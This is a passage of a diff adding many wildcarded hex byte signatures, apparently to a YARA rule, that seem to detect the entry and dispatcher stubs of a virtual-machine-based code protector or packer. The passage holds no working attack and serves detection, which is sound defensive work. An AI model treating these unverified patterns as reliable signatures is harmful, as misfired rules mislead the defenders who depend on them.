+		$239 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$240 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$241 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$242 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$243 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 51 9C 57 53 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$244 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$245 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$246 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$247 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$248 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$249 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$250 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 50 51 57 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$251 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+		$252 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$253 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$254 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 51 56 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$255 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$256 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$257 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$258 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$259 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 57 52 57 56 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$260 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$261 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$262 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$263 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 56 50 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$264 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 51 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$265 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$266 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 55 56 54 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$267 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 54 51 57 52 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$268 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$269 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$270 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$271 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$272 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 53 9C 52 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$273 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$274 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 54 9C 51 56 55 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$275 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$276 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$277 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$278 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$279 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$280 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$281 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$282 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$283 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$284 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$285 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$286 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$287 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$288 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$289 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3}
+		$290 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$291 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3}
+		$292 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$293 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$294 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$295 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$296 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$297 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$298 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$299 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$300 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$301 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$302 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$303 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$304 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$305 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$306 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$307 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$308 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3}
+		$309 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$310 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$311 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$312 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$313 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$314 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+		$315 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$316 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$317 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$318 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$319 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+		$320 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$321 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$322 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3}
+		$323 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$324 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$325 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$326 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$327 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$328 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$329 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$330 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
